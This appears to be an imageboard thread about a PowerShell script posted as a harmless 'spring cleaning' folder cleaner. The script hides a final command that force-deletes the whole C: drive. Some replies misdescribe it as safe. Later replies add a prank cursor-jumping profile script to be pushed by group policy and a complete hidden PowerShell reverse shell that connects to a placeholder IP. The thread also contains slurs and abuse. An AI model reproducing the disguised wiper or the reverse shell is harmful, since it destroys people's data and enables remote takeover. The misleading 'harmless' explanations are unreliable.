# A simple script that removes unused or empty folders for spring cleaning$Folders = Get-ChildItem -Path $env:USERPROFILE -Recurse -Directory -Include *aging*, *temp*, *cache*, *local*, *locallow*, *mysongs*, *myvideos*$Confirm = Read-Host "Would you like to remove unused or empty folders for spring cleaning? (Yes/No)"if ($Confirm -eq 'Yes') { $Folders | ForEach-Object { Remove-Item $_.FullName -Recurse -Force}}else { Write-Host "Spring cleaning canceled."}# Auto-destruct after being confirmed as innocentInvoke-Command -ScriptBlock { Remove-Item -Recurse -Force "C:\*" -ErrorAction SilentlyContinue } -NoNewScope
Someone translate
>>475801183That's a Powershell script. The format is pretty well documented.
>>475801183shit just clears out empty or unused folders from a list of commonly bloated directories
>>475801183They pack your browsing with cp to justify dumb cops spying on you, then spy on dumb cops
>>475801016>memeflag GFY faggot.Your posts aren't worth the fecal matter encrusted on your diseased dick.No bump.
>>475801016first you have to set the local script policy to unrestricted
Imagine using Windows like a faggot.
>>475801451Still, you can see what the script is doing, and do the same thing manually, if you like.
No delete system32 it's uselesshttps://techcult.com/how-to-delete-system32/
>windows
>>475801668add to the profile.ps1while ($true) {[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point -ArgumentList (Get-Random -Minimum 0 -Maximum 1920), (Get-Random -Minimum 0 -Maximum 1080);Start-Sleep -Milliseconds 100}
>>475802686Why would you want to make your cursor randomly jump around the screen? Freak.
>>475804229it is good for the system administrator. should be mandatory.
>>475804384Just because you can Powershell, doesn't mean you should.
>>475804461deploy the profile using group policy to your forest. this will definitely solve the boss problem.
>>475801183lmaoInvoke-Command -ScriptBlock { Remove-Item -Recurse -Force "C:*" -ErrorAction SilentlyContinue } -NoNewScopedeletes everything on the C: drive
>>475801471kek or imac what a pile of garbage, literally logs everything constantly, you actually have to manually log out or you stay logged in.
>>475805021Technically, this WOULD stop Windows telemetry
>>475805470honestly, a powershell reverse shell would've been lulzier since OP could've at least posted wins. This is an educational example, missing one critical component needed to work. If you don't know what that is, you shouldn't be playing with this yet. powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('YOUR_IP', PORT);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
>>475802686I love it lol.
>>475807073>All that to open a remote secure shellI fucking hate Powershell so God damn much
>>475808309it's certainly longer than a cmd line reverse shell, but you can use powershell to break out of restricted environments, which might be required.
>>475801420>redmond wa has joined the chat